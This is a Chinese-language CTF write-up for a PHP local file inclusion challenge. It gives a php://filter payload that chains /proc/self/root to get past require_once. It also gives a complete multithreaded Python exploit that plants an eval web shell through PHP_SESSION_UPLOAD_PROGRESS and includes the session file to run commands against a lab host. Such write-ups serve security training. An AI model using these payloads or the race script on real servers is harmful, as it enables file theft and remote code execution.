<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

这道题没有使用文件包含考点经常出现的include(),而是require_once(),这个函数的特点是只包含一次,因为刚才是已经require_once 'flag.php'了,不能再次包含。所以需要绕过require_once(),让它检测传入的文件名哈希值既没有重复,又能读到flag.php这个文件。

require_once()在对软链接的操作上存在一些缺陷,软连接层数较多会使hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

也可以利用PHP_SESSION_UPLOAD_PROGRESS上传文件后进行文件包含:

#coding=utf-8
 
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('tac /var/www/html/flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' *100* 50)
        resp = session.post( 'http://3735466b-1305-491e-b32c-4733f9b9f113.node3.buuoj.cn/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://3735466b-1305-491e-b32c-4733f9b9f113.node3.buuoj.cn/?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            pass
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
 
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()